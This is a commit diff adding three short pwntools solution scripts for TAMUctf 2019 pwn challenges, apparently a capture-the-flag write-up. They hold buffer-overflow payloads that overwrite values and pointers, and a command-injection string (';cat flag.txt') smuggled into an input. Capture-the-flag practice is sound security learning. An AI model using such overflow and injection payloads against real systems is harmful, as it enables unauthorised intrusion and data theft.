Sun, 24 Feb 2019 22:31:06 +0800

tamu-writeup/pwn1wp.py

@@ -0,0 +1,7 @@
+from pwn import *
+sh = remote("pwn.tamuctf.com", 4321)
+sh.sendline("Sir Lancelot of Camelot")
+sh.sendline("To seek the Holy Grail.")
+pld = 'a' * 43 + p32(0xDEA110C8)
+sh.sendline(pld)
+sh.interactive()

tamu-writeup/pwn2wp.py

@@ -0,0 +1,5 @@
+from pwn import *
+sh = remote("pwn.tamuctf.com", 4322)
+pld = 'a' * +30 + p8(0xd8)
+sh.sendline(pld)
+sh.interactive()

tamu-writeup/pwn4wp.py

@@ -0,0 +1,4 @@
+from pwn import *
+sh = remote("pwn.tamuctf.com", 4324)
+sh.sendline(";cat flag.txt")
+sh.interactive()